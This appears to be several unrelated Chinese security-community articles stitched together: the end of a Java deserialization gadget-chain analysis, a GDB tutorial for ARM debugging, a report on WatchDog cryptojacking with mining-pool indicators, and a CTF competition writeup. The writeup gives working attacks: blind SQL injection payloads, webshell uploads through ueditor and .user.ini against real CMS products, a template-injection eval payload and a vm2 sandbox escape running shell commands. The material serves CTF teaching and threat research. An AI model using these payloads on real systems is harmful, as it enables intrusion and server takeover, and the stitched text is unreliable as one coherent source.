在这两种方法都不行的情况下，想起可以用反射来修改key的值
可是在Map中，key，value是通过键值对存储的，普通的反射调用是行不通的，我们需要用如下方式去修改对应的key
Hashtable obj = new Hashtable();
obj.put("aa", "b");
obj.put(fastHashMap1, "1");
Field field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
Object[] table = (Object[]) field.get(obj);
// hashmap的索引会根据key的值而变化，如果要改前面的key的话，这里的索引可以用调试的方式改一下
Object node = table[2];
Field keyField;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
if (keyField.get(node) instanceof String){
keyField.set(node, map);
}
其实这种方式在ysoserial里面是存在的，但是这里的索引值一直有点不懂，会根据key的值而变化，是通过一个hash函数来确定索引的位置的（HashMap的链表初始长度为16）
接下来根据HashTable的readObject方法
跟进reconstitutionPut，此时的key是FastHashMap，但是现在的e为null，不会进入for循环
往下走会会把FastHashMap的key.hashCode，key，value等放进一个entry，然后count自增
因为我们向HashTable钟put了两对值，所以通过for循环再次调用了reconstitutionPut，此时的key是DefaultedMap
我们的目的是要调用`e.key.equals(key)`，所以我们在if语句这里，要保证`e.hash=hash`否则不会执行后面的语句
e.hash其实就是调用的HashTable.hashCode，而此时的hash就是DefaultedMap.hashCode
可以看到，调用了DefaultedMap的负累AbstractMapDecorator的hashCode方法，实际上就是调用的hashMap的hashCode，因为我们调用DefaultedMap.decorate的时候传入的是hashMap
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
所以说，实际上比较的是
fastHashMap.put("yy","d");
hashmap.put("zZ", "d");
在解决了hashCode的问题后，我们来看`e.key.equals(key)`，我们的目的就是调用FastHashMap的equals方法
虽然这里刚刚好符合，但是并不明白为什么第一个是FastHashMap，第二个是DefaultedMap，这个顺序是怎么确定的，如果反过来，那不就不行了吗
根据FastHashMap的equals方法
这里调用了DefaultedMap的get方法
DefaultedMap并没有包含yy这个key，而value实现了Transformer接口，调用FactoryTransformer方法
public Object transform(Object input) {
return this.iFactory.create();
}
这里的iFactory是通过构造函数可控的，调用InstantiateFactory的create方法
这个类的构造函数调用了findConstructor，我们可以去实例化TrAXFilter的构造方法，接下来就调用TemplatesImpl的newTrasnformer方法然后加载字节码了
参考链接：
<https://blog.diggid.top/2022/04/30/%E4%BD%BF%E7%94%A8CodeQL-CHA%E8%B0%83%E7%94%A8%E5%9B%BE%E5%88%86%E6%9E%90%E5%AF%BB%E6%89%BE%E6%96%B0%E7%9A%84CC%E9%93%BE/#%E5%89%8D%E8%A8%80> | 社区文章 |
# 【技术分享】利用GDB调试ARM代码
|
##### 译文声明
本文是翻译文章，文章来源：azeria-labs.com
原文地址：<https://azeria-labs.com/debugging-with-gdb-introduction/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在本文中，我们将简要介绍如何利用GDB完成ARM二进制文件的编译和基本调试。当然，阅读过程中，如果读者想要对ARM汇编代码动手进行实验的话，则需要准备一个备用的ARM设备，或者在虚拟机中设置相应的实验室环境，具体操作请参考[How-To](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)这篇文章。
此外，您还将通过下面取自 [Part 7 – Stack and Functions](https://azeria-labs.com/functions-and-the-stack-part-7/)这篇文章中的代码来熟悉GDB的基本调试功能。
.section .text
.global _start
_start:
push {r11, lr} /* Start of the prologue. Saving Frame Pointer and LR onto the stack */
add r11, sp, #0 /* Setting up the bottom of the stack frame */
sub sp, sp, #16 /* End of the prologue. Allocating some buffer on the stack */
mov r0, #1 /* setting up local variables (a=1). This also serves as setting up the first parameter for the max function */
mov r1, #2 /* setting up local variables (b=2). This also serves as setting up the second parameter for the max function */
bl max /* Calling/branching to function max */
sub sp, r11, #0 /* Start of the epilogue. Readjusting the Stack Pointer */
pop {r11, pc} /* End of the epilogue. Restoring Frame pointer from the stack, jumping to previously saved LR via direct load into PC */
max:
push {r11} /* Start of the prologue. Saving Frame Pointer onto the stack */
add r11, sp, #0 /* Setting up the bottom of the stack frame */
sub sp, sp, #12 /* End of the prologue. Allocating some buffer on the stack */
cmp r0, r1 /* Implementation of if(a<b) */
movlt r0, r1 /* if r0 was lower than r1, store r1 into r0 */
add sp, r11, #0 /* Start of the epilogue. Readjusting the Stack Pointer */
pop {r11} /* restoring frame pointer */
bx lr /* End of the epilogue. Jumping back to main via LR register */
就个人而言，我更喜欢使用作为GDB增强版的[GEF](https://github.com/hugsy/gef)，它用起来要更加得心应手，具体下载地址[https://github.com/hugsy/gef](https://github.com/hugsy/gef%E3%80%82)
将上述代码保存到名为max.s的文件中，然后使用以下命令进行编译：
$ as max.s -o max.o
$ ld max.o -o max
这个调试器是一个强大的工具，可以：
**在代码崩溃后加载内存dump（事后剖析调试）**
**附加到正在运行的进程（用于服务器进程）** ****
**启动程序并进行调试** **** ****
根据二进制文件、核心文件或进程ID启动GDB：
附加到一个进程：$ gdb -pid $（pidof <process>）
调试二进制代码：$ gdb ./file
检查内核（崩溃）文件：$ gdb -c ./core.3243
$ gdb max
如果您安装了GEF，将会显示gef>提示符。
可以通过下列方式获取帮助：
(gdb) h
(gdb) apropos <search-term>
gef> apropos registers
collect -- Specify one or more data items to be collected at a tracepoint
core-file -- Use FILE as core dump for examining memory and registers
info all-registers -- List of all registers and their contents
info r -- List of integer registers and their contents
info registers -- List of integer registers and their contents
maintenance print cooked-registers -- Print the internal register configuration including cooked values
maintenance print raw-registers -- Print the internal register configuration including raw values
maintenance print registers -- Print the internal register configuration
maintenance print remote-registers -- Print the internal register configuration including each register's
p -- Print value of expression EXP
print -- Print value of expression EXP
registers -- Display full details on one
set may-write-registers -- Set permission to write into registers
set observer -- Set whether gdb controls the inferior in observer mode
show may-write-registers -- Show permission to write into registers
show observer -- Show whether gdb controls the inferior in observer mode
tui reg float -- Display only floating point registers
tui reg general -- Display only general registers
tui reg system -- Display only system registers
断点命令：
break (or just b) <function-name>
break <line-number>
break filename:function
break filename:line-number
break *<address>
break +<offset>
break –<offset>
tbreak (设置一个临时断点）
del <number> （删除编号为x的断点）
delete (删除所有断点）
delete <range>（删除指定编号范围内的断点）
disable/enable <breakpoint-number-or-range> (不删除断点，只是启用/禁用它们）
continue (or just c) – （继续执行，直到下一个断点）
continue <number> (继续，但忽略当前断点指定次数。对循环内的断点非常有用）
finish继续，直至函数末尾）
gef> break _start
gef> info break
Num Type Disp Enb Address What
1 breakpoint keep y 0x00008054 <_start>
breakpoint already hit 1 time
gef> del 1
gef> break *0x0000805c
Breakpoint 2 at 0x805c
gef> break _start
这将删除第一个断点，并在指定的内存地址处设置一个断点。当您运行程序时，它将在这个指定的位置停下来。
如果不删除第一个断点，然后又设置一个断点并运行，则它还是在第一个断点处停下来。
启动和停止：
启动一个程序，从头开始执行
run
r
run <command-line-argument>
停止程序的运行
kill
退出GDB调试器
quit
q
gef> run
现在，我们的程序在指定的位置停下来了，这样就可以开始检查内存了。 命令“x”可以用来以各种格式显示内存内容。
语法 : x/<count><format><unit>
格式单位
x – 十六进制 b – 字节
d – 十进制h – 半字（2字节）
i – 指令w – 字（4字节）
t – 二进制（two）g – 巨字（8字节）
o – 八进制
u – 无符号整数
s – 字符串
c – 字符
gef> x/10i $pc
=> 0x8054 <_start>: push {r11, lr}
0x8058 <_start+4>: add r11, sp, #0
0x805c <_start+8>: sub sp, sp, #16
0x8060 <_start+12>: mov r0, #1
0x8064 <_start+16>: mov r1, #2
0x8068 <_start+20>: bl 0x8074 <max>
0x806c <_start+24>: sub sp, r11, #0
0x8070 <_start+28>: pop {r11, pc}
0x8074 <max>: push {r11}
0x8078 <max+4>: add r11, sp, #0
gef> x/16xw $pc
0x8068 <_start+20>: 0xeb000001 0xe24bd000 0xe8bd8800 0xe92d0800
0x8078 <max+4>: 0xe28db000 0xe24dd00c 0xe1500001 0xb1a00001
0x8088 <max+20>: 0xe28bd000 0xe8bd0800 0xe12fff1e 0x00001741
0x8098: 0x61656100 0x01006962 0x0000000d 0x01080206
用于单步调试的命令：单步执行下一条命令。可以进入函数内部
stepi
s
step <number-of-steps-to-perform>
执行下一行代码。不会进入函数内部
nexti
n
next <number>
继续处理，直到达到指定的行号、函数名称、地址、文件名函数或文件名：行号
until
until <line-number>、
显示当前行号以及所在的函数
where
gef> nexti 5
...
0x8068 <_start+20> bl 0x8074 <max> <- $pc
0x806c <_start+24> sub sp, r11, #0
0x8070 <_start+28> pop {r11, pc}
0x8074 <max> push {r11}
0x8078 <max+4> add r11, sp, #0
0x807c <max+8> sub sp, sp, #12
0x8080 <max+12> cmp r0, r1
0x8084 <max+16> movlt r0, r1
0x8088 <max+20> add sp, r11, #0
使用info registers或i r命令检查寄存器的值
gef> info registers
r0 0x1 1
r1 0x2 2
r2 0x0 0
r3 0x0 0
r4 0x0 0
r5 0x0 0
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0x0 0
r11 0xbefff7e8 3204446184
r12 0x0 0
sp 0xbefff7d8 0xbefff7d8
lr 0x0 0
pc 0x8068 0x8068 <_start+20>
cpsr 0x10 16
命令“info registers”能够提供当前的寄存器状态。
我们可以看到，这里包括通用寄存器r0-r12，专用寄存器SP、LR和PC，以及状态寄存器CPSR。 函数的前四个参数通常存储在r0-r3中。
在这种情况下，我们可以通过手动方式将其值移动到r0和r1。
显示进程内存映射：
gef> info proc map
process 10225
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8000 0x9000 0x1000 0 /home/pi/lab/max
0xb6fff000 0xb7000000 0x1000 0 [sigpage]
0xbefdf000 0xbf000000 0x21000 0 [stack]
0xffff0000 0xffff1000 0x1000 0 [vectors]
通过命令“disassemble”，我们可以查看函数max的反汇编输出。
gef> disassemble max
Dump of assembler code for function max:
0x00008074 <+0>: push {r11}
0x00008078 <+4>: add r11, sp, #0
0x0000807c <+8>: sub sp, sp, #12
0x00008080 <+12>: cmp r0, r1
0x00008084 <+16>: movlt r0, r1
0x00008088 <+20>: add sp, r11, #0
0x0000808c <+24>: pop {r11}
0x00008090 <+28>: bx lr
End of assembler dump.
GEF特有的命令（可以使用命令“gef”查看更多命令）：
将所有已加载的ELF镜像的所有节dump到进程内存中
X档案
proc map的增强版本，包括映射页面中的RWX属性
vmmap
给定地址的内存属性
xinfo
检查运行的二进制文件内置的编译器级保护措施
checksec
gef> xfiles
Start End Name File
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
0x00008054 0x00008094 .text /home/pi/lab/max
gef> vmmap
Start End Offset Perm Path
0x00008000 0x00009000 0x00000000 r-x /home/pi/lab/max
0xb6fff000 0xb7000000 0x00000000 r-x [sigpage]
0xbefdf000 0xbf000000 0x00000000 rwx [stack]
0xffff0000 0xffff1000 0x00000000 r-x [vectors]
gef> xinfo 0xbefff7e8
----------------------------------------[ xinfo: 0xbefff7e8 ]---------------------------------------- Found 0xbefff7e8
Page: 0xbefdf000 -> 0xbf000000 (size=0x21000)
Permissions: rwx
Pathname: [stack]
Offset (from page): +0x207e8
Inode: 0
gef> checksec
[+] checksec for '/home/pi/lab/max'
Canary: No
NX Support: Yes
PIE Support: No
RPATH: No
RUNPATH: No
Partial RelRO: No
Full RelRO: No
故障排除
为了更高效地使用GDB进行调试，很有必要了解某些分支/跳转的目标地址。 某些（较新的）GDB版本能够解析分支指令的地址，并能显示目标函数的名称。
例如，下面是缺乏这些功能的GDB版本的输出内容：
...
0x000104f8 <+72>: bl 0x10334
0x000104fc <+76>: mov r0, #8
0x00010500 <+80>: bl 0x1034c
0x00010504 <+84>: mov r3, r0
...
而下面则是提供了上述功能的GDB版本的的输出结果：
0x000104f8 <+72>: bl 0x10334 <free@plt>
0x000104fc <+76>: mov r0, #8
0x00010500 <+80>: bl 0x1034c <malloc@plt>
0x00010504 <+84>: mov r3, r0
如果您的GDB版本中没有提供这些功能，可以升级Linux（前提是它们提供了更新的GDB），或者自己编译较新的GDB。
如果您选择自己编译GDB，可以使用以下命令：
cd /tmp
wget https://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz
tar vxzf gdb-7.12.tar.gz
sudo apt-get update
sudo apt-get install libreadline-dev python-dev texinfo -y
cd gdb-7.12
./configure --prefix=/usr --with-system-readline --with-python && make -j4
sudo make -j4 -C gdb/ install
gdb --version
我使用上面提供的命令来下载、编译和运行Raspbian（jessie）上的GDB，并且没有遇到任何问题。同时，这些命令也将取代以前版本的GDB。如果您不想这样做的话，请跳过以单词install结尾的命令。此外，我在QEMU中模拟Raspbian时也是这样做的，不过这个过程非常耗时，大概需要几个小时，因为模拟环境的资源（CPU）有限。
我使用的GDB版本为7.12，但是你还可以使用更高的版本，为此可以点击此处查看其他版本。 | 社区文章 |
**作者：cadosecurity
译者：知道创宇404实验室翻译组
原文链接：<https://www.cadosecurity.com/watchdog-continues-to-target-east-asian-csps/>**
## 介绍
Cado实验室的研究人员最近发现黑客WatchDog重新出现。WatchDog是一个机会主义者，也是一个著名的黑客组织，他们经常对各种云服务提供商托管的资源进行加密劫持攻击。
我们之前报道过WatchDog的活动，他们在2022年6月瞄准了我们的一个蜜罐。根据恶意shell脚本和Monero钱包ID的存在，我们将这次的新攻击归咎于他们。该组织使用的已知技术也很明显。
## 系统弱化
与这种类型的攻击一样，脚本一开始使用许多命令，旨在削弱受损的系统并删除监控工具。在删除Linux系统日志之前，黑客使用 _ulimit_
命令为当前用户配置资源限制，试图掩盖其踪迹。
各种系统弱化命令
脚本的这一部分还包括从/tmp/中删除与加密挖掘相关的各种文件/目录的命令（第13–15行）。这可能是为了从先前的加密劫持攻击中删除工件。
再往下看，我们可以看到黑客包含了删除东亚云服务提供商本地监控代理的代码。正如我们在相关活动中所看到的那样，这意味着要针对这些社区服务提供商。
清除东亚社区服务提供商中发现的监测剂
## 资源竞争
也许从分析这种类型的有效载荷中获得的最有意思的信息，是对竞争威胁集团使用的技术的深入了解。通常，加密挖掘shell脚本有一个专门用于消灭进程，和从竞争的加密劫持攻击中删除工件的部分——这一部分也没有什么不同。
在这个特定的有效负载中，这个部分中的许多行引起了我们的注意。
竞争对手删除代码
第497和501行用于从 _/usr/bin_ 下名为 _TeamTNT_
的文件夹中删除文件。这个文件夹很可能包含这个著名的云黑客在攻击期间植入的可执行文件。
这一点特别有趣，因为在2021年他们宣布退役后，最近有一些关于TNT团队是否会再次活跃的[讨论](https://www.trendmicro.com/en_us/research/22/j/teamtnt-returns-or-does-it.html)。根据最近的shell脚本，WatchDog似乎认为TeamTNT确实回来了。
TeamTNT推特-生物和固定推特建议退休
上面截图中的第496行也很有趣。在我们对CoinStomp(2022年初的一个类似的加密劫持活动)的[分析](https://www.cadosecurity.com/coinstomp-malware-family-targets-asian-cloud-service-providers/)中，我们注意到有人试图从/usr/share/crypto-policies路径中删除文件。在RHEL和类似RHEL的Linux系统上，此目录包含加密策略，通过风险状况允许或禁止某些加密协议，这些策略可用于强化。
然而，我们也看到了类似的加密劫持活动将其可执行文件存储在 _/usr/bin/[crypto]._
下。在这种情况下，WatchDog似乎试图从先前的妥协中删除这些可执行文件。
## 防御规避和反取证
在上一篇关于WatchDog活动的[报告](https://www.cadosecurity.com/tales-from-the-honeypot-watchdog-evolves-with-a-new-multi-stage-cryptojacking-attack/)中，我们注意到了一种独特的技术，即黑客用一个相当简单的shell脚本替换了常见的系统实用程序（如top和ps），该脚本用于从上述实用程序的输出中泄露任何攻击者拥有的进程。同样的技术出现在这个新的有效载荷中。
将公共实用程序转换为自定义过程隐藏程序
第671、682和693行还演示了使用 _touch_
命令在替换的系统实用程序上执行时间戳。我们认为这是一种反取证措施，旨在在事件响应过程中迷惑分析师。我们在对CoinStomp的分析中看到了这种技术，令人惊讶的是，我们没有在云黑客身上看到这种技术——因为这是一个“living
off the land”的聪明例子。
## 挖掘配置
脚本的其余部分专门用于检索和设置矿工——XMRig的一个版本，以文件名“zzh”保存，并从 _/tmp/运行。_ 使用以下挖掘服务器：
**xmr[.]f2pool[.]com:13531** | 支持Monero的公共多币挖矿池
---|---
**139[.]99[.]102[.]72:14433** | 由nanopool.org运营的矿池使用的IP
**xmr[.]pool[.]gntl.co.uk:10009** | GNTL项目运营的公共矿池
**80[.]211[.]206[.]105:9000** | 由bohemianpool.com运营的矿池使用的IP
## 总结
显然，WatchDog仍然活跃，并对腾讯和阿里云等云服务提供商的用户构成重大威胁。在分析过的shell脚本中可以看到这种黑客的几种典型技术，并且重新使用特定的Monero钱包使得归因相对容易。
用于删除TeamTNT可执行文件的代码的存在是一个有趣的观察。证据表明，以云为中心的加密劫持组织保持对当前威胁形势的最新了解，因此这可能表明WatchDog在其活动期间遇到了TeamTNT活动的证据。
我们前面提到WatchDog和类似的组织是机会主义的，很可能这个恶意软件利用配置错误的云实例作为初始访问向量。这再次强调了某些云黑客可以轻易地破坏云资源，而且他们几乎不需要付出多少努力就可以使这一努力有利可图。
Cado处理受此样本感染的计算机的截屏
## IOC
**文件名** | **SHA-256 Hash**
---|---
init.sh | c68a82fc2e8f27ef017a69b951c92d4336c6b657e8666dbb58395bac195d00cb
newinit.sh | 47d69b281d9cbaca0638f8ca304d40fa04991c870ea8b65388bd42eb266cf2c0
* * * | 社区文章 |
# 第三届CBCTF官方WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## web
### 尖尖的商店 1&&2
因为其他题出的人太少,临时出的题…师傅们都 tql,我出完甚至还没做一遍,就有师傅出了
都是只要把 money 字段改大就可以拿 flag,
1 直接改 cookie 就好,2 用了 session,request.url 默认 url 编码了,就不能之间触发 ssti,所以放在了
referer,为了不让师傅们很恶心的找触发点,就给了部分源码.
具体怎么构造,参考这篇文章
<https://www.cnblogs.com/zaqzzz/p/10243961.html>
### **Easy-Baby-Signin**
**套娃一** ：401 验证，需要输入账号密码。此处使用 BP 抓包爆破，使用自定义迭代器构造 payload，再进行 base64 加密。账户为
admin 密码为 12345678 开头的东西。
**套娃二** ：参考了DDCTF的某个WEB的第一步。URL 处存在参数 jpg，base64 解码两次得到 666C61672E6A7067，Hex
解码得到 flag.jpg。
尝试读取源码 index.php，构造 TmprMlpUWTBOalUzT0RKbE56QTJPRGN3，得到 index.php 源码，发现
magicword.txt 存在
**套娃三：** 纯纯的反序列化
构造脚本生成 payload
<?php
class icanhear {
var $mykey;
var $myword;
function icanhear()
{
$this->mykey=&$this->myword;
}
}
echo serialize(new icanhear()); //O:8:"icanhear":2:{s:5:"mykey";N;s:6:"myword";R:2;}
?>
**套娃四：**
需要爆破 md5 前 6 位是 1024cc 的数字
构造 python 脚本
from hashlib import md5
for i in range(100000000):
if md5(str(i)).hexdigest()[:6]=='1024cc':
print (i)
break
得到 flag2 是 790058
最终 FLAG: **flag{wa0_7900588_is_right}**
### **Hacked_By_Wendell**
Hint1： 不需要注册，寻找网站薄弱的地方
Hint2： 源于一个很古老的洞
这题和 **dangerous-function** 都是 zzzphp 的
0day，所有两题给了一份源码审，然后再题目里把对方的洞删掉了。这题其实这题的洞在
**/plugins/ueditor/php/controller.php** 下的 catchimage，也就是类似老版本的 ueditor
的文件上传漏洞。
**代码审计：**
首先跟进 controller.php 下的 **down_url** 函数，其在/inc/zzz_file.php
其使用 **file_ext** 函数限制上传后缀， **file_name** 函数确定文件名，继续跟进
同文件下的 **file_ext** 函数，其会判断？的存在，若存在，则后缀名是？前面的 **.** 后面的东西。
继续查看 **file_name** 函数，就是此函数造成的上传漏洞，具体可以看例子。
此处 path=<http://127.0.0.1/123.jpg?/123.php>
但返回的文件名为 123.php
**解题：**
编写一个 HTML 文件来上传恶意文件
<form action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr: <input type="text" name="source[]" />
<input type="submit" value="Submit" />
</form>
远程服务器上放个 info.jpg 的马，上传的时候要写的 info.jpg?/123.php
Getshell 以后就能找到 flag
### **Hacked_By_V**
这题是 EJUCMS 的 0day(CNVD-2020-44337)，虽然给了源码，但不用审也能做，毕竟很明显提示是后台，而后台能交互文件的地方不多，挖过
CMS 的应该很快能猜到是模板处存在漏洞。
**代码审计：** **/application/admin/controller/Filemanager.php**
此处对编辑的文件位置、后缀等做了限制
其中利用 str_replace 限制目录穿越没啥用，利用/template/../可直接在根目录下写文件
**/application/admin/logic/FilemanagerLogic.php**
白名单规定了后缀名，利用 ini 进行 getshell
**解题：**
进入后对任意 htm 文件进行编辑并抓包，目标是找到一个有 php 文件的目录，再利用 **.user.ini** 来写马
有些目录权限是不能写，所以多找几个叭。
修改 POST 数据为
activepath=/template/../data/schema&filename=.user.ini&content=auto_prepend_file=12321.htm&_ajax=1
再次发一个包，修改数据为
activepath=/template/../data/schema&filename=12321.htm&content=<?php $fun = create_function('',$_POST['a']);$fun();?>&_ajax=1
Getshell 在网站根目录下可见 flag。
###
### sqli-labs
user 表（大概）：
**id** | **user** | **pass** | **flag**
---|---|---|---
1 | xxx | xxx | flag{you_get_the_flag}
先是 and or & |被过滤，导致逻辑表达会有些麻烦，但是我们依然有异或运算符^，由于 id 字段是字符串，在 mysql 中与 0 等价，由于
0^1=1，0^0=0，故语句的真假就是查询结果的真假
由于 flag 被过滤，无法用 select flag from user 来查 flag，所以要用别名代替，但是别名代替有 select 1,2,3,4
有逗号，所以用 join 再代替（空格换成 `/` _`a`_ `/` 即可）：
union select * from (select 1)a join (select 2)b join (select 3)c%23
等同于：
union select 1,2,3
同样
limit 1 offset 2
等同于：
limit 2,1
以及
substr(database() from 5 for 1)
等同于：
substr(database(),5,1)
因此 payload 构造如下：
?id=1' ^ (ascii(mid((select `4` from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union select * from user)e limit 1 offset 1) from 1 for 1))>0) ^ (1=1)%23
但是你会发现 from 1 for 1 那里，or 被过滤，for 也不能用了，所以可以用 regexp 或者 like 来单字符盲注。
于是 payload 大体是这样的（空格用 `/` _`什么都行`_ `/` 代替即可）：
select user from users where id='1' ^ ((select `4` from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union select * from user)e limit 1 offset 1) like "a%")^(1=1)
然而这还不是时间盲注，我们可以考虑用下面笛卡尔积这种大量运算的方法去延时：
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C
由于 or 被过滤，所以 information_schema 无法使用，可用 mysql 数据库中的 help_topic（这是一张更大的表）来代替：
?id=1'^ (select case when ((select `4` from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union select * from user)e limit 1 offset 1) like "a%") then (select count(*) from mysql.help_topic A,mysql.help_topic B,mysql.help_topic C) else 0 end)%23
意外地发现%也被过滤掉了（出题人挖坑自己都不知道系列），所以用 regexp 来绕过。
1'^ (select case when ((select `4` from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union select * from user)e limit 1 offset 1) regexp "^f.{0,}") then (select count(*) from mysql.help_topic A,mysql.help_topic B,mysql.help_topic C) else 0 end)^'1'='1
然后你会发现，笛卡尔积的方式也有逗号
于是我们发现了新的笛卡尔积方法：
SELECT count(*) FROM mysql.help_relation CROSS JOIN mysql.help_topic cross join mysql.proc;
这种笛卡尔积是不允许同一个表 cross join 自己的，但是起个别名就可以了
SELECT count(*) FROM mysql.help_relation CROSS JOIN mysql.help_topic A cross join mysql.proc B;
所以最终的 payload：
(本题的 mysql 服务似乎和本地的不太一样，mysql_help*表不管有多少都能秒出结果，无法造成延时，所以再连接一个其他的表比如
innodb_table_stats 就可以造成超长延时。。下面这个 payload 是测试过的延时时间比较合理的，3 秒左右)
1'^/*a*/(select/*a*/case/*a*/when/*a*/((select/*a*/`4`/*a*/from/*a*/(select/*a*/*/*a*/from/*a*/(select/*a*/1)a/*a*/join/*a*/(select/*a*/2)b/*a*/join/*a*/(select/*a*/3)c/*a*/join/*a*/(select/*a*/4)d/*a*/union/*a*/select/*a*/*/*a*/from/*a*/user)e/*a*/limit/*a*/1/*a*/offset/*a*/1)/*a*/regexp/*a*/binary/*a*/"^f.*")/*a*/then/*a*/(SELECT/*a*/count(*)/*a*/FROM/*a*/mysql.help_relation/*a*/A/*a*/CROSS/*a*/JOIN/*a*/mysql.help_topic/*a*/B/*a*/cross/*a*/join/*a*/mysql.innodb_table_stats/*a*/D/*a*/cross/*a*/join/*a*/mysql.user/*a*/E/*a*/cross/*a*/join/*a*/mysql.user/*a*/F)/*a*/else/*a*/0/*a*/end)^'1'='1
写脚本的一些注意事项：
由于过滤了 flag，所以脚本不能出现 flag，即从头开始^f. _到^fla._ 一直到^flag. _时，flag_ _*_
会被过滤，所以要避开，用.来代替：^fla.{.*
然后在匹配数字的时候，要加反斜杠\，或者用括号括起来，因为 SQL 正则本身数字属于特殊字符
然后正则默认是不区分大小写的，所以你直接 regexp 得到的结果是不正确的，要加上 binary 字段：regexp binary xxx 才区分大小写
### dangerous-function
zzzcms 是一个开源免费建站系统，但是好像 bug 很多的亚子
注意：已经删掉了后台，不需要注册登陆，不需要扫描爆破，flag 在根目录下
题目是危险函数，最常见的是 `eval` `system` 吧，那么搜搜
然后这一段代码
public
function parserIfLabel( $zcontent ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1 ]==''){
error('很抱歉，模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
error('很抱歉，模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}
......
解析 if 标签，先是正则匹配标签，然后用 `danger_key` `函数过滤掉危险输入，最后在 `eval` ` 函数中执行
过滤了很多关键词（这里比官方加强了一些）
//过滤危险字符，保留正常字符
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
error('很抱歉，执行出错，发现危险字符【'.$val.'】');
}
}
return $s;
}
构造可以自己看正则，也可以看官方文档
<http://help.zzzcms.com/259324>搜索 if 即可找到
{if:(eval_code)}相同结果{else}不相同结果{end if}
到这里应该能知道这是模板注入，而页面中只有搜索框可以注入
这里主要用到动态函数 多次调试后可以得到 flag
方法应该很多
{if:var_dump(((strrev(stnetnoc_teg_elif)))((strrev(edoced_46esab))(Li8uLi8uLi8uLi8uLi8uLi8uLi9mbGFn)))}
### ezcalc
出这个是因为想着是新生赛,让大家多接触一些新的东西,,就把以前 node 遇到的 trick 拼一拼 (然而好像没新生做
考点就:正则绕过+vm2 逃逸,但是那个依赖挺多坑的,也可能是因为我不熟,题目还因为这个中途下了一次,最后直接给了 dockerfile
第一层
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
因为可以使用 Math.随便什么单词，所以可以获取到`Math.constructor`,获取两次后,就是 Function 对象,就可以可以任意代码执行
然后利用箭头的特性,绕过过滤
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()
使用
Math+1 // '[object Math]1'
得到 String 对象
然后使用 String.fromCharCode(...)构造任意字符
然后
就可以执行任意代码了,之后还有 vm2 的限制
参考
<https://github.com/patriksimek/vm2/issues/268>
这个 issues 绕过
var res = (function () {
try { require('child_process').execSync("idea") } catch (e) { }
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")]() {
throw f => f.constructor("return process")();
}
}
};
try {
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
} catch (e) {
return e(() => 0).mainModule.require('child_process').execSync("cat /flag");
}
})();return res
注意结果要用 return 返回
最后 payload
